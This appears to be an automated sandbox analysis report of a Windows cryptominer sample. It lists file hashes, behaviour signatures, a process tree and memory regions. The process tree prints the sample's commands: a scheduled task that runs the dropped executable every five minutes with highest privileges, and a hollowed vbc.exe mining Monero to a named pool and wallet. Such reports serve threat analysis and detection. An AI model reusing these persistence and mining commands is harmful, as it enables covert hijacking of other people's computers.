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Analysis

  • max time kernel
    93s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/11/2022, 22:48

General

  • Target

    b1c49fcfa6c8b0e513c7b3bc7e9994d801e307c376f3ca2bdb9f374a51ef19f6.exe

  • Size

    1.7MB

  • MD5

    27b284fab61afb4e351edbcbd930aa3f

  • SHA1

    06d1988f308245688c337c1e4751cf3c262a02ba

  • SHA256

    b1c49fcfa6c8b0e513c7b3bc7e9994d801e307c376f3ca2bdb9f374a51ef19f6

  • SHA512

    07f40ee220eaf4f27a58d6389496694de8aebbfe3f5b588988349a68b1192faca4cd7fd81eb9f17bf3836e786381f1865658b65bc06942dff495736d0b08f3b3

  • SSDEEP

    49152:PvKK9gn45q8P+D48aQ5QhRPjkNtJeLHkJkQ:PWoetJeDE

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b1c49fcfa6c8b0e513c7b3bc7e9994d801e307c376f3ca2bdb9f374a51ef19f6.exe
    "C:\Users\Admin\AppData\Local\Temp\b1c49fcfa6c8b0e513c7b3bc7e9994d801e307c376f3ca2bdb9f374a51ef19f6.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1064
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF409.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2628
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:4556
      • C:\ProgramData\AppsWin\DBJYPFS.exe
        "C:\ProgramData\AppsWin\DBJYPFS.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2352
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "DBJYPFS" /tr "C:\ProgramData\AppsWin\DBJYPFS.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1748
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "DBJYPFS" /tr "C:\ProgramData\AppsWin\DBJYPFS.exe"
            5⤵
            • Creates scheduled task(s)
            PID:1684
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4AAvbZFu6CJe2k13FgFmnDWHasLSbsKpXNumeQrWnZU8gpV9dURkEmJYtTYSohPLrCYA8bBN5PJRWbo1qgLuzpyNApcPYRh --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:912

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\ProgramData\AppsWin\DBJYPFS.exe

    Filesize

    1.7MB

    MD5

    27b284fab61afb4e351edbcbd930aa3f

    SHA1

    06d1988f308245688c337c1e4751cf3c262a02ba

    SHA256

    b1c49fcfa6c8b0e513c7b3bc7e9994d801e307c376f3ca2bdb9f374a51ef19f6

    SHA512

    07f40ee220eaf4f27a58d6389496694de8aebbfe3f5b588988349a68b1192faca4cd7fd81eb9f17bf3836e786381f1865658b65bc06942dff495736d0b08f3b3

  • C:\ProgramData\AppsWin\DBJYPFS.exe

    Filesize

    1.7MB

    MD5

    27b284fab61afb4e351edbcbd930aa3f

    SHA1

    06d1988f308245688c337c1e4751cf3c262a02ba

    SHA256

    b1c49fcfa6c8b0e513c7b3bc7e9994d801e307c376f3ca2bdb9f374a51ef19f6

    SHA512

    07f40ee220eaf4f27a58d6389496694de8aebbfe3f5b588988349a68b1192faca4cd7fd81eb9f17bf3836e786381f1865658b65bc06942dff495736d0b08f3b3

  • C:\Users\Admin\AppData\Local\Temp\tmpF409.tmp.bat

    Filesize

    143B

    MD5

    d530c0884f779a9145136f58007c06d7

    SHA1

    9b7d9b7c193107aeb688fb60b6f30ee0501a618b

    SHA256

    a94e2825fda5aeee4c421ce5a0218ae038377050877d9766488aa1ebeca3d841

    SHA512

    326dd947b24041b3aebc918926f4839de0cd30d01169a032c15ef826608bf9dfcfa7fd86f4f1e343c6f1ff29e735cb955701eae0efb32f18d37eeb6771c89eb4

  • memory/912-150-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/912-155-0x000001EA5DEA0000-0x000001EA5DEC0000-memory.dmp

    Filesize

    128KB

  • memory/912-152-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/912-147-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/912-156-0x000001EA5DEC0000-0x000001EA5DEE0000-memory.dmp

    Filesize

    128KB

  • memory/912-151-0x000001EA5DE80000-0x000001EA5DEA0000-memory.dmp

    Filesize

    128KB

  • memory/912-154-0x000001EA5DEC0000-0x000001EA5DEE0000-memory.dmp

    Filesize

    128KB

  • memory/912-149-0x000001EA5C4C0000-0x000001EA5C4E0000-memory.dmp

    Filesize

    128KB

  • memory/912-148-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/912-153-0x000001EA5DEA0000-0x000001EA5DEC0000-memory.dmp

    Filesize

    128KB

  • memory/912-145-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1064-137-0x00007FF9F3B20000-0x00007FF9F45E1000-memory.dmp

    Filesize

    10.8MB

  • memory/1064-132-0x0000000000570000-0x000000000071A000-memory.dmp

    Filesize

    1.7MB

  • memory/1064-133-0x00007FF9F3B20000-0x00007FF9F45E1000-memory.dmp

    Filesize

    10.8MB

  • memory/2352-144-0x00007FF9F37D0000-0x00007FF9F4291000-memory.dmp

    Filesize

    10.8MB

  • memory/2352-141-0x00007FF9F37D0000-0x00007FF9F4291000-memory.dmp

    Filesize

    10.8MB